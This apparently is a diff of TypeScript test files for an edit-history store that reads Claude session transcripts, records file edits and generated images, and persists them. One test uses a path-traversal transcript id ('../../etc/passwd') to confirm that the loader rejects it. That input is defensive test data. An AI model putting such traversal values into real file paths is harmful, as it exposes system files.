const loaded = await EditHistoryStore.load('s1', { dir });
|
||||
expect(loaded.knownSources()).toEqual(['subagents/agent-z.jsonl']);
|
||||
expect(loaded.getCursor('subagents/agent-z.jsonl')).toEqual({ offset: 10, floor: 5, floorMidLine: true });
|
||||
expect(loaded.getAgents()).toEqual({ z: { description: 'd', agentType: 'coding' } });
|
||||
expect(loaded.list()).toEqual([]);
|
||||
// The surviving pending call still pairs with its result, and nothing throws.
|
||||
expect(syncForward(loaded, jsonl([bashResult('b1', 3)]))?.candidates[0]?.paths).toEqual(['/work/a.png']);
|
||||
});
|
||||
|
||||
it('rebuilds loaded entries under the same bounds: known fields only, string diff lines, the per-edit cap', async () => {
|
||||
const good = {
|
||||
ts: 1,
|
||||
path: '/a.ts',
|
||||
kind: 'code',
|
||||
tool: 'Edit',
|
||||
created: false,
|
||||
added: 1,
|
||||
removed: 0,
|
||||
truncated: false,
|
||||
};
|
||||
writeFileSync(
|
||||
join(dir, 's1.json'),
|
||||
JSON.stringify({
|
||||
version: 1,
|
||||
sessionId: 's1',
|
||||
transcriptId: 'conv-1',
|
||||
cursors: {},
|
||||
pendingBash: [
|
||||
{ id: 'b1', ts: 1, command: 'ls', cwd: '/work' },
|
||||
{ id: 'b2', ts: 1, command: 'ls', cwd: '/' + 'c'.repeat(5000) },
|
||||
{ id: 'p'.repeat(5000), ts: 1, command: 'ls', cwd: '/work' },
|
||||
],
|
||||
agents: { ['a'.repeat(MAX_AGENT_META_CHARS + 1)]: { description: 'd', agentType: 't' } },
|
||||
entries: [
|
||||
{ ...good, id: 'extra', hunks: [], blob: 'x'.repeat(1000) },
|
||||
{ ...good, id: 'objlines', hunks: [{ oldStart: 1, lines: [{ k: 'y' }, '+kept'] }] },
|
||||
{ ...good, id: 'bighunk', hunks: [{ lines: ['+' + 'q'.repeat(MAX_HUNK_BYTES)] }] },
|
||||
{ ...good, id: 'badtool', tool: 'Rm', hunks: [] },
|
||||
],
|
||||
})
|
||||
);
|
||||
const loaded = await EditHistoryStore.load('s1', { dir, debounceMs: 60_000 });
|
||||
expect(
|
||||
loaded
|
||||
.list()
|
||||
.map((e) => e.id)
|
||||
.sort()
|
||||
).toEqual(['bighunk', 'extra', 'objlines']);
|
||||
expect(loaded.get('extra')).not.toHaveProperty('blob');
|
||||
expect(loaded.get('objlines')!.hunks[0].lines).toEqual(['+kept']);
|
||||
expect(loaded.get('bighunk')).toMatchObject({ truncated: true, hunks: [{ lines: [] }] });
|
||||
expect(loaded.getAgents()).toEqual({});
|
||||
await loaded.flush();
|
||||
expect(
|
||||
JSON.parse(readFileSync(join(dir, 's1.json'), 'utf-8')).pendingBash.map((p: { id: string }) => p.id)
|
||||
).toEqual(['b1']);
|
||||
});
|
||||
|
||||
it("counts an entry's id against the byte cap", () => {
|
||||
const e = {
|
||||
id: 'i'.repeat(1000),
|
||||
ts: 1,
|
||||
path: '/a.ts',
|
||||
kind: 'code',
|
||||
tool: 'Edit',
|
||||
created: false,
|
||||
added: 0,
|
||||
removed: 0,
|
||||
hunks: [],
|
||||
truncated: false,
|
||||
} as const;
|
||||
expect(entryBytes(e) - entryBytes({ ...e, id: 'i' })).toBe(999);
|
||||
});
|
||||
|
||||
it(`does not parse a store file larger than ${MAX_FILE_BYTES} bytes`, async () => {
|
||||
const store = new EditHistoryStore('s1', { dir, debounceMs: 60_000 });
|
||||
syncForward(store, jsonl([editLine('e1', 1)]));
|
||||
await store.flush();
|
||||
const text = readFileSync(join(dir, 's1.json'), 'utf-8');
|
||||
expect((await EditHistoryStore.load('s1', { dir })).get('e1')).toBeDefined();
|
||||
writeFileSync(join(dir, 's1.json'), text + ' '.repeat(MAX_FILE_BYTES)); // still valid JSON
|
||||
expect((await EditHistoryStore.load('s1', { dir })).list()).toEqual([]);
|
||||
});
|
||||
|
||||
it('sweep() deletes the histories of sessions that are gone and stale tmp files, nothing else', async () => {
|
||||
for (const name of [
|
||||
'live.json',
|
||||
'gone.json',
|
||||
`gone.json.${process.pid + 1}.tmp`,
|
||||
// An earlier run that had this process's pid (a container's pid 1): stale as well.
|
||||
`live.json.${process.pid}.tmp`,
|
||||
`live.json.${process.pid}-0a1b2c3d.tmp`,
|
||||
`live.json.${TMP_TAG}.tmp`,
|
||||
'notes.txt',
|
||||
]) {
|
||||
writeFileSync(join(dir, name), '{}');
|
||||
}
|
||||
expect(await EditHistoryStore.sweep((id) => id === 'live', { dir })).toBe(1);
|
||||
expect(readdirSync(dir).sort()).toEqual([`live.json.${TMP_TAG}.tmp`, 'live.json', 'notes.txt'].sort());
|
||||
expect(await EditHistoryStore.sweep(() => false, { dir: join(dir, 'missing') })).toBe(0);
|
||||
});
|
||||
|
||||
it('takes only a plain transcript id from the file (the sync builds a path from it)', async () => {
|
||||
const cursors = { main: { offset: 10, floor: 0 } };
|
||||
for (const transcriptId of ['../../etc/passwd', 'a/b', '', 7]) {
|
||||
writeFileSync(join(dir, 's1.json'), JSON.stringify({ version: 1, transcriptId, cursors, entries: [] }));
|
||||
const store = await EditHistoryStore.load('s1', { dir });
|
||||
expect(store.getTranscriptId()).toBeNull();
|
||||
expect(store.knownSources()).toEqual([]); // offsets into no known conversation
|
||||
}
|
||||
writeFileSync(join(dir, 's1.json'), JSON.stringify({ version: 1, transcriptId: 'conv-1.a_b', cursors }));
|
||||
const store = await EditHistoryStore.load('s1', { dir });
|
||||
expect(store.getTranscriptId()).toBe('conv-1.a_b');
|
||||
expect(store.knownSources()).toEqual(['main']);
|
||||
});
|
||||
|
||||
it('settle() writes pending changes and nothing for a store without any', async () => {
|
||||
const store = new EditHistoryStore('s1', { dir, debounceMs: 60_000 });
|
||||
syncForward(store, jsonl([editLine('e1', 1)]));
|
||||
await store.settle();
|
||||
expect((await EditHistoryStore.load('s1', { dir })).get('e1')).toBeDefined();
|
||||
const loaded = await EditHistoryStore.load('s1', { dir });
|
||||
rmSync(join(dir, 's1.json'));
|
||||
await loaded.settle();
|
||||
await new EditHistoryStore('empty', { dir }).settle();
|
||||
expect(readdirSync(dir)).toEqual([]);
|
||||
});
|
||||
|
||||
it('delete() removes a stored history without parsing it', async () => {
|
||||
writeFileSync(join(dir, 's1.json'), 'not json');
|
||||
await EditHistoryStore.delete('s1', { dir });
|
||||
await EditHistoryStore.delete('missing', { dir });
|
||||
expect(readdirSync(dir)).toEqual([]);
|
||||
});
|
||||
|
||||
it('ignores a file of an unknown version', async () => {
|
||||
writeFileSync(join(dir, 'v9.json'), JSON.stringify({ version: 9, entries: [{ id: 'x' }] }));
|
||||
expect((await EditHistoryStore.load('v9', { dir })).list()).toEqual([]);
|
||||
});
|
||||
|
||||
it('writes debounced', async () => {
|
||||
const store = new EditHistoryStore('s1', { dir, debounceMs: 20 });
|
||||
syncForward(store, jsonl([editLine('e1', 1)]));
|
||||
const path = join(dir, 's1.json');
|
||||
expect(existsSync(path)).toBe(false);
|
||||
await new Promise((r) => setTimeout(r, 80));
|
||||
expect(JSON.parse(readFileSync(path, 'utf-8')).entries).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('starts empty from a missing or corrupt file', async () => {
|
||||
expect((await EditHistoryStore.load('none', { dir })).list()).toEqual([]);
|
||||
const store = new EditHistoryStore('bad', { dir });
|
||||
await store.flush();
|
||||
writeFileSync(join(dir, 'bad.json'), '{broken');
|
||||
expect((await EditHistoryStore.load('bad', { dir })).list()).toEqual([]);
|
||||
});
|
||||
|
||||
it('remove() deletes the file and stops later writes', async () => {
|
||||
const store = new EditHistoryStore('s1', { dir, debounceMs: 10 });
|
||||
syncForward(store, jsonl([editLine('e1', 1)]));
|
||||
await store.flush();
|
||||
await store.remove();
|
||||
expect(existsSync(join(dir, 's1.json'))).toBe(false);
|
||||
syncForward(store, jsonl([editLine('e1', 1), editLine('e2', 2)]));
|
||||
await new Promise((r) => setTimeout(r, 40));
|
||||
await store.flush();
|
||||
expect(existsSync(join(dir, 's1.json'))).toBe(false);
|
||||
expect(store.list()).toEqual([]); // the content is forgotten too
|
||||
});
|
||||
|
||||
it('remove() during a write leaves nothing behind (the write cannot rename over the deleted file)', async () => {
|
||||
const store = new EditHistoryStore('s1', { dir, debounceMs: 60_000 });
|
||||
syncForward(store, jsonl([editLine('e1', 1)]));
|
||||
const writing = store.flush();
|
||||
// Let the write get past its first check, so remove() meets it under way.
|
||||
await new Promise((r) => setImmediate(r));
|
||||
await Promise.all([writing, store.remove()]);
|
||||
expect(readdirSync(dir)).toEqual([]);
|
||||
});
|
||||
|
||||
it('defaults to the data directory', () => {
|
||||
const store = new EditHistoryStore('s1');
|
||||
expect((store as unknown as { file: string }).file).toMatch(/edit-history[\\/]s1\.json$/);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,774 @@
|
||||
/**
|
||||
* Edit history sync: reader, store, image confirmation, single-flight, failure states and the
|
||||
* "reads only on request" wiring. Reader and probe are fakes; the store is real (temp dir).
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { existsSync, mkdtempSync, readdirSync, readFileSync, rmSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { EditHistoryStore } from '../src/edit-history-store.js';
|
||||
import type {
|
||||
EditSourceReadOptions,
|
||||
EditSourceRequest,
|
||||
EditSources,
|
||||
PathProbe,
|
||||
} from '../src/edit-history-local-source.js';
|
||||
import {
|
||||
confirmImages,
|
||||
EditHistorySync,
|
||||
MAX_LOADED_STORES,
|
||||
MAX_OLDER_SOURCES,
|
||||
NO_TRANSCRIPT,
|
||||
REMOVED,
|
||||
type EditHistorySession,
|
||||
type EditHistorySyncDeps,
|
||||
remoteTranscriptIds,
|
||||
unsupportedReason,
|
||||
} from '../src/web/edit-history-sync.js';
|
||||
|
||||
let dir: string;
|
||||
/** Stores the tests opened; removed before the temp dir, so no late save recreates it. */
|
||||
const opened: EditHistoryStore[] = [];
|
||||
beforeEach(() => {
|
||||
dir = mkdtempSync(join(tmpdir(), 'edit-sync-'));
|
||||
});
|
||||
afterEach(async () => {
|
||||
await Promise.all(opened.splice(0).map((s) => s.remove()));
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
const T0 = Date.parse('2026-10-15T20:00:00.000Z');
|
||||
|
||||
function editLine(id: string, ts: number, path: string, extra: Record<string, unknown> = {}): string {
|
||||
return (
|
||||
JSON.stringify({
|
||||
type: 'user',
|
||||
timestamp: new Date(ts).toISOString(),
|
||||
cwd: '/w',
|
||||
message: { role: 'user', content: [{ tool_use_id: id, type: 'tool_result', content: 'ok' }] },
|
||||
toolUseResult: {
|
||||
filePath: path,
|
||||
oldString: 'a',
|
||||
newString: 'b',
|
||||
structuredPatch: [{ oldStart: 1, oldLines: 1, newStart: 1, newLines: 1, lines: ['-a', '+b'] }],
|
||||
},
|
||||
...extra,
|
||||
}) + '\n'
|
||||
);
|
||||
}
|
||||
|
||||
function bashPair(id: string, start: number, end: number, command: string): string {
|
||||
const use = JSON.stringify({
|
||||
type: 'assistant',
|
||||
timestamp: new Date(start).toISOString(),
|
||||
cwd: '/w',
|
||||
message: { role: 'assistant', content: [{ type: 'tool_use', id, name: 'Bash', input: { command } }] },
|
||||
});
|
||||
const res = JSON.stringify({
|
||||
type: 'user',
|
||||
timestamp: new Date(end).toISOString(),
|
||||
cwd: '/w',
|
||||
message: { role: 'user', content: [{ tool_use_id: id, type: 'tool_result', content: '' }] },
|
||||
toolUseResult: { stdout: '', stderr: '', interrupted: false, isImage: false },
|
||||
});
|
||||
return use + '\n' + res + '\n';
|
||||
}
|
||||
|
||||
/** An in-memory transcript: files by relPath, served with the reader contract. */
|
||||
class FakeHost {
|
||||
transcriptId = 'conv1';
|
||||
files = new Map<string, Buffer>();
|
||||
metas: Record<string, string> = {};
|
||||
calls: EditSourceRequest[][] = [];
|
||||
paths: string[] = [];
|
||||
/** What `transcriptPath` answers (the transcript watcher's path); null = none yet. */
|
||||
get path(): string | null {
|
||||
return this.files.size > 0 ? `/p/${this.transcriptId}.jsonl` : null;
|
||||
}
|
||||
read = async (
|
||||
mainPath: string,
|
||||
requests: readonly EditSourceRequest[],
|
||||
budget: number,
|
||||
opts: EditSourceReadOptions = {}
|
||||
): Promise<EditSources | null> => {
|
||||
this.calls.push([...requests]);
|
||||
this.paths.push(mainPath);
|
||||
if (this.files.size === 0) return null;
|
||||
let remaining = budget;
|
||||
const out: EditSources = { transcriptId: this.transcriptId, files: [], metas: {} };
|
||||
for (const [relPath, buf] of this.files) {
|
||||
const req = requests.find((r) => r.relPath === relPath);
|
||||
if (!req && opts.onlyRequested) continue;
|
||||
let start: number;
|
||||
let len: number;
|
||||
if (req?.len !== undefined) {
|
||||
const blockEnd = Math.min(req.offset + req.len, buf.length);
|
||||
len = Math.min(blockEnd - Math.min(req.offset, buf.length), remaining);
|
||||
start = blockEnd - len;
|
||||
} else if (req) {
|
||||
start = Math.min(req.offset, buf.length);
|
||||
len = Math.min(remaining, buf.length - start);
|
||||
} else {
|
||||
len = Math.min(buf.length, remaining);
|
||||
start = buf.length - len;
|
||||
const agent = /^subagents\/agent-(.+)\.jsonl$/.exec(relPath)?.[1];
|
||||
if (agent && this.metas[agent]) out.metas[agent] = this.metas[agent];
|
||||
}
|
||||
remaining -= len;
|
||||
out.files.push({ relPath, size: buf.length, startOffset: start, chunk: buf.subarray(start, start + len) });
|
||||
}
|
||||
return out;
|
||||
};
|
||||
append(relPath: string, text: string): void {
|
||||
this.files.set(relPath, Buffer.concat([this.files.get(relPath) ?? Buffer.alloc(0), Buffer.from(text)]));
|
||||
}
|
||||
}
|
||||
|
||||
function setup(over: Partial<EditHistorySyncDeps> = {}) {
|
||||
const host = new FakeHost();
|
||||
const probes = new Map<string, PathProbe>();
|
||||
const lookups: string[] = [];
|
||||
/** Session ids in the order their stores were loaded. */
|
||||
const loads: string[] = [];
|
||||
/** The session each read (and, as `probe:<id>`, each probe) was made for. */
|
||||
const readers: string[] = [];
|
||||
const deps: EditHistorySyncDeps = {
|
||||
transcriptPath: async (session) => {
|
||||
lookups.push(session.id);
|
||||
return host.path;
|
||||
},
|
||||
readSources: (session, path, req, budget, opts) => {
|
||||
readers.push(session.id);
|
||||
return host.read(path, req, budget, opts);
|
||||
},
|
||||
probe: async (session, paths) => {
|
||||
readers.push(`probe:${session.id}`);
|
||||
return paths.map((p) => probes.get(p) ?? null);
|
||||
},
|
||||
loadStore: (id) => EditHistoryStore.load(id, { dir, debounceMs: 0 }),
|
||||
deleteStore: (id) => EditHistoryStore.delete(id, { dir }),
|
||||
sweepStores: async () => 0,
|
||||
...over,
|
||||
};
|
||||
const load = deps.loadStore;
|
||||
deps.loadStore = async (id) => {
|
||||
loads.push(id);
|
||||
const store = await load(id);
|
||||
opened.push(store);
|
||||
return store;
|
||||
};
|
||||
return { host, probes, lookups, loads, readers, deps, sync: new EditHistorySync(deps) };
|
||||
}
|
||||
|
||||
const local: EditHistorySession = { id: 's1', mode: 'claude', remote: undefined, claudeSessionId: 'conv1' };
|
||||
const remote: EditHistorySession = {
|
||||
id: 's2',
|
||||
mode: 'claude',
|
||||
remote: { host: 'huff' } as EditHistorySession['remote'],
|
||||
claudeSessionId: 'conv1',
|
||||
};
|
||||
|
||||
describe('unsupportedReason', () => {
|
||||
it('accepts a local or remote claude session, rejects docker and non-claude CLIs', () => {
|
||||
expect(unsupportedReason(local)).toBeUndefined();
|
||||
expect(unsupportedReason(remote)).toBeUndefined();
|
||||
expect(unsupportedReason({ ...remote, docker: { image: 'x' } })).toBe('docker');
|
||||
expect(unsupportedReason({ ...local, docker: { image: 'x' } })).toBe('docker');
|
||||
expect(unsupportedReason({ ...local, adopt: { location: 'local' } })).toBe('adopted');
|
||||
expect(unsupportedReason({ ...local, mode: 'shell' })).toBe('mode');
|
||||
});
|
||||
});
|
||||
|
||||
describe('remoteTranscriptIds', () => {
|
||||
it('includes the stored conversation besides the launch id: no hook tells Codeman of a remote /clear', () => {
|
||||
expect(remoteTranscriptIds(remote, 'conv2')).toEqual(['conv2', 'conv1', 's2']);
|
||||
expect(remoteTranscriptIds(remote, 'conv1')).toEqual(['conv1', 's2']);
|
||||
expect(remoteTranscriptIds(remote, null)).toEqual(['conv1', 's2']);
|
||||
expect(remoteTranscriptIds({ ...remote, claudeSessionId: null }, null)).toEqual(['s2']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('EditHistorySync', () => {
|
||||
it('reads new edits forward from the stored offset', async () => {
|
||||
const { host, sync } = setup();
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
expect(await sync.sync(local)).toEqual({ state: 'ok' });
|
||||
host.append('main', editLine('t2', T0 + 1000, '/w/b.ts'));
|
||||
await sync.sync(local);
|
||||
expect((await sync.getStore('s1')).list().map((e) => e.id)).toEqual(['t2', 't1']);
|
||||
expect(host.calls[1]).toEqual([
|
||||
{ relPath: 'main', offset: host.files.get('main')!.length - editLine('t2', T0 + 1000, '/w/b.ts').length },
|
||||
]);
|
||||
expect(host.paths).toEqual(['/p/conv1.jsonl', '/p/conv1.jsonl']);
|
||||
});
|
||||
|
||||
it('reads subagent transcripts and records their meta', async () => {
|
||||
const { host, sync } = setup();
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
host.append('subagents/agent-a1.jsonl', editLine('t9', T0 + 5, '/w/sub.ts', { isSidechain: true, agentId: 'a1' }));
|
||||
host.metas.a1 = '{"description":"Fix it","agentType":"coding"}';
|
||||
await sync.sync(local);
|
||||
const store = await sync.getStore('s1');
|
||||
expect(store.get('t9')?.agentId).toBe('a1');
|
||||
expect(store.getAgents().a1).toEqual({ description: 'Fix it', agentType: 'coding' });
|
||||
});
|
||||
|
||||
it('reads a new conversation (/clear, resume) from its end, keeping the entries', async () => {
|
||||
const { host, sync } = setup();
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
await sync.sync(local);
|
||||
host.transcriptId = 'conv2';
|
||||
host.files.set('main', Buffer.from(editLine('n1', T0 + 9, '/w/n.ts')));
|
||||
await sync.sync(local);
|
||||
expect(host.paths.at(-1)).toBe('/p/conv2.jsonl');
|
||||
expect(host.calls.at(-1)).toEqual([]); // no offsets of the old file
|
||||
const store = await sync.getStore('s1');
|
||||
expect(store.getTranscriptId()).toBe('conv2');
|
||||
expect(store.list().map((e) => e.id)).toEqual(['n1', 't1']);
|
||||
});
|
||||
|
||||
it('keeps reading in passes when a file grew by more than one budget', async () => {
|
||||
const { host, sync } = setup({ budget: 600 });
|
||||
host.append('main', editLine('t0', T0, '/w/z.ts'));
|
||||
await sync.sync(local);
|
||||
for (let i = 1; i <= 3; i++) host.append('main', editLine(`t${i}`, T0 + i, `/w/${i}.ts`));
|
||||
await sync.sync(local);
|
||||
expect((await sync.getStore('s1')).list()).toHaveLength(4);
|
||||
});
|
||||
|
||||
it('turns a Bash image into an entry only when its mtime lies in the call window', async () => {
|
||||
const { host, probes, sync } = setup();
|
||||
host.append('main', bashPair('b1', T0, T0 + 5000, 'render out/new.png old.png ~/x.png'));
|
||||
probes.set('/w/out/new.png', { realPath: '/w/out/new.png', kind: 'file', size: 9, mtimeMs: T0 + 4000 });
|
||||
probes.set('/w/old.png', { realPath: '/w/old.png', kind: 'file', size: 9, mtimeMs: T0 - 60_000 });
|
||||
probes.set('~/x.png', { realPath: '/home/u/x.png', kind: 'file', size: 9, mtimeMs: T0 + 6500 });
|
||||
await sync.sync(local);
|
||||
expect((await sync.getStore('s1')).list().map((e) => [e.path, e.tool, e.kind])).toEqual([
|
||||
['/w/out/new.png', 'bash', 'image'],
|
||||
['/home/u/x.png', 'bash', 'image'],
|
||||
]);
|
||||
});
|
||||
|
||||
it('a removal during a read stops it: no further parsing, no probe of printed paths', async () => {
|
||||
const probe = vi.fn(async (_session: unknown, paths: readonly string[]) => paths.map(() => null));
|
||||
let removal: Promise<void> | undefined;
|
||||
const ctx = setup({
|
||||
probe,
|
||||
readSources: async (_session, path, req, budget, opts) => {
|
||||
const res = await ctx.host.read(path, req, budget, opts);
|
||||
removal = ctx.sync.remove('s1'); // the session is deleted while this read is out
|
||||
return res;
|
||||
},
|
||||
});
|
||||
ctx.host.append('main', bashPair('b1', T0, T0 + 5000, 'render out/a.png'));
|
||||
ctx.host.append('subagents/agent-a1.jsonl', bashPair('b2', T0, T0 + 5000, 'render out/b.png'));
|
||||
await ctx.sync.sync(local);
|
||||
await removal;
|
||||
expect(probe).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('keeps the edits when only the image probe fails', async () => {
|
||||
const { host, sync } = setup({
|
||||
probe: async () => {
|
||||
throw new Error('probe failed');
|
||||
},
|
||||
});
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts') + bashPair('b1', T0, T0 + 1, 'x out.png'));
|
||||
expect(await sync.sync(local)).toEqual({ state: 'ok' });
|
||||
expect((await sync.getStore('s1')).list().map((e) => e.id)).toEqual(['t1']);
|
||||
});
|
||||
|
||||
it('reports a session without a transcript yet, then reads it once there is one', async () => {
|
||||
const { host, sync } = setup();
|
||||
expect(await sync.sync(local)).toEqual({ state: 'unavailable', reason: NO_TRANSCRIPT });
|
||||
expect(host.calls).toEqual([]);
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
expect(await sync.sync(local)).toEqual({ state: 'ok' });
|
||||
expect((await sync.getStore('s1')).list()).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('reports a transcript that vanished (watcher path stale) the same way', async () => {
|
||||
const { host, sync } = setup({ transcriptPath: async () => '/p/gone.jsonl' });
|
||||
expect(await sync.sync(local)).toEqual({ state: 'unavailable', reason: NO_TRANSCRIPT });
|
||||
expect(host.paths).toEqual(['/p/gone.jsonl']);
|
||||
});
|
||||
|
||||
it('reports a read error as unavailable and keeps the stored entries', async () => {
|
||||
const { host, sync, deps } = setup();
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
await sync.sync(local);
|
||||
deps.readSources = async () => {
|
||||
throw new Error('EACCES: permission denied');
|
||||
};
|
||||
const status = await sync.sync(local);
|
||||
expect(status).toEqual({ state: 'unavailable', reason: 'EACCES: permission denied' });
|
||||
expect((await sync.getStore('s1')).list()).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('marks docker and non-claude sessions unsupported without looking for a transcript', async () => {
|
||||
const { host, lookups, sync } = setup();
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
expect(await sync.sync({ ...local, mode: 'shell' })).toEqual({ state: 'unsupported', reason: 'mode' });
|
||||
expect(await sync.sync({ ...local, docker: {} })).toEqual({ state: 'unsupported', reason: 'docker' });
|
||||
expect(lookups).toEqual([]);
|
||||
expect(host.calls).toEqual([]);
|
||||
});
|
||||
|
||||
it('reads a remote session through the same deps, each call with that session (ssh is the server’s part)', async () => {
|
||||
const { host, lookups, readers, probes, sync } = setup();
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts') + bashPair('b1', T0 + 1000, T0 + 3000, 'render out.png'));
|
||||
probes.set('/w/out.png', { realPath: '/w/out.png', kind: 'file', size: 9, mtimeMs: T0 + 2000 });
|
||||
expect(await sync.sync(remote)).toEqual({ state: 'ok' });
|
||||
expect(lookups).toEqual(['s2']);
|
||||
expect(readers).toEqual(['s2', 'probe:s2']);
|
||||
expect((await sync.getStore('s2')).list().map((e) => e.path)).toEqual(['/w/out.png', '/w/a.ts']);
|
||||
});
|
||||
|
||||
it('hands the transcript lookup the conversation the stored history holds', async () => {
|
||||
const stored: Array<string | null> = [];
|
||||
const { host, sync } = setup({
|
||||
transcriptPath: async (_session, storedTranscriptId) => {
|
||||
stored.push(storedTranscriptId);
|
||||
return host.path;
|
||||
},
|
||||
});
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
await sync.sync(remote);
|
||||
host.transcriptId = 'conv2';
|
||||
host.files.set('main', Buffer.from(editLine('n1', T0 + 9, '/w/n.ts')));
|
||||
await sync.sync(remote);
|
||||
await sync.sync(remote);
|
||||
expect(stored).toEqual([null, 'conv1', 'conv2']);
|
||||
});
|
||||
|
||||
it('an unreachable remote host is unavailable with the stored entries kept, and the next sync reads on', async () => {
|
||||
const { host, sync, deps } = setup();
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
await sync.sync(remote);
|
||||
const transcriptPath = deps.transcriptPath;
|
||||
deps.transcriptPath = async () => {
|
||||
throw new Error('remote host huff unreachable: ssh: connect to host huff port 22: Connection timed out');
|
||||
};
|
||||
host.append('main', editLine('t2', T0 + 1000, '/w/b.ts'));
|
||||
expect(await sync.sync(remote)).toEqual({
|
||||
state: 'unavailable',
|
||||
reason: 'remote host huff unreachable: ssh: connect to host huff port 22: Connection timed out',
|
||||
});
|
||||
expect((await sync.getStore('s2')).list()).toHaveLength(1);
|
||||
deps.transcriptPath = transcriptPath;
|
||||
expect(await sync.sync(remote)).toEqual({ state: 'ok' });
|
||||
expect((await sync.getStore('s2')).list()).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('runs one sync per session at a time and folds occasions into one more run', async () => {
|
||||
const { host, sync } = setup();
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
let release!: () => void;
|
||||
const gate = new Promise<void>((r) => (release = r));
|
||||
const orig = host.read;
|
||||
host.read = async (...a) => {
|
||||
await gate;
|
||||
return orig(...a);
|
||||
};
|
||||
const runs = [sync.sync(local), sync.sync(local), sync.sync(local)];
|
||||
release();
|
||||
await Promise.all(runs);
|
||||
expect(host.calls).toHaveLength(2); // the first run + one folded follow-up
|
||||
});
|
||||
|
||||
it('loads older blocks on request', async () => {
|
||||
const { host, sync } = setup({ budget: 400 });
|
||||
for (let i = 0; i < 4; i++) host.append('main', editLine(`t${i}`, T0 + i, `/w/${i}.ts`));
|
||||
await sync.sync(local);
|
||||
const store = await sync.getStore('s1');
|
||||
const before = store.list().length;
|
||||
expect(store.backfillTruncated).toBe(true);
|
||||
await sync.sync(local, { older: true });
|
||||
expect(store.list().length).toBeGreaterThan(before);
|
||||
});
|
||||
|
||||
it('flushAll writes pending saves (shutdown) so a reload keeps the entries', async () => {
|
||||
const { host, sync } = setup({ loadStore: (id) => EditHistoryStore.load(id, { dir, debounceMs: 60_000 }) });
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
await sync.sync(local);
|
||||
await sync.flushAll();
|
||||
const reloaded = await EditHistoryStore.load('s1', { dir });
|
||||
expect(reloaded.list().map((e) => e.id)).toEqual(['t1']);
|
||||
});
|
||||
|
||||
it('remove deletes the stored history', async () => {
|
||||
const { host, sync } = setup();
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
await sync.sync(local);
|
||||
await (await sync.getStore('s1')).flush();
|
||||
await sync.remove('s1');
|
||||
expect(() => readFileSync(join(dir, 's1.json'))).toThrow();
|
||||
});
|
||||
|
||||
it('neither a run in flight nor a request during the removal writes the deleted history again', async () => {
|
||||
const { host, sync } = setup();
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
let release!: () => void;
|
||||
const gate = new Promise<void>((r) => (release = r));
|
||||
let entered!: () => void;
|
||||
const reading = new Promise<void>((r) => (entered = r));
|
||||
const orig = host.read;
|
||||
host.read = async (...a) => {
|
||||
entered();
|
||||
await gate;
|
||||
return orig(...a);
|
||||
};
|
||||
const runs = [sync.sync(local), sync.sync(local)]; // one running, one queued
|
||||
await reading;
|
||||
const removing = sync.remove('s1');
|
||||
// The removal waits for the read under way; a request meanwhile reads nothing.
|
||||
expect(await sync.sync(local)).toEqual({ state: 'unavailable', reason: REMOVED });
|
||||
release();
|
||||
await Promise.all([...runs, removing]);
|
||||
await new Promise((r) => setTimeout(r, 20)); // past the store's debounce
|
||||
expect(readdirSync(dir)).toEqual([]);
|
||||
expect(host.calls).toHaveLength(1); // the read under way; the queued run never read
|
||||
});
|
||||
|
||||
it('the same conversation under an unnormalized path reads on from its cursors, nothing else', async () => {
|
||||
const path = '/p/./conv1.jsonl';
|
||||
const { host, sync } = setup({ transcriptPath: async () => path });
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
await sync.sync(local);
|
||||
host.append('main', editLine('t2', T0 + 1, '/w/a.ts'));
|
||||
await sync.sync(local);
|
||||
expect(host.paths).toEqual([path, path]);
|
||||
expect(host.calls[1]).toEqual([
|
||||
{ relPath: 'main', offset: host.files.get('main')!.length - editLine('t2', T0 + 1, '/w/a.ts').length },
|
||||
]);
|
||||
});
|
||||
|
||||
it('a session that comes back with the same id (reboot restore) reads its history afresh', async () => {
|
||||
const { host, sync } = setup();
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
await sync.sync(local);
|
||||
// Boot: the unpinned record is pruned as stale; then "restore" brings the session back.
|
||||
await sync.remove('s1');
|
||||
expect(await sync.sync(local)).toEqual({ state: 'ok' });
|
||||
expect((await sync.getStore('s1')).list().map((e) => e.id)).toEqual(['t1']);
|
||||
});
|
||||
|
||||
it('remove deletes a history it has not loaded without loading it', async () => {
|
||||
const { sync, loads } = setup();
|
||||
const other = new EditHistoryStore('s1', { dir });
|
||||
other.addImageEntries([{ toolUseId: 'b1', path: '/w/a.png', ts: T0 }]);
|
||||
await other.flush();
|
||||
await sync.remove('s1');
|
||||
expect(loads).toEqual([]);
|
||||
expect(existsSync(join(dir, 's1.json'))).toBe(false);
|
||||
});
|
||||
|
||||
it(`keeps at most ${MAX_LOADED_STORES} stores loaded: a dropped one is written and loads again whole`, async () => {
|
||||
const { host, sync, loads } = setup({ loadStore: (id) => EditHistoryStore.load(id, { dir, debounceMs: 60_000 }) });
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
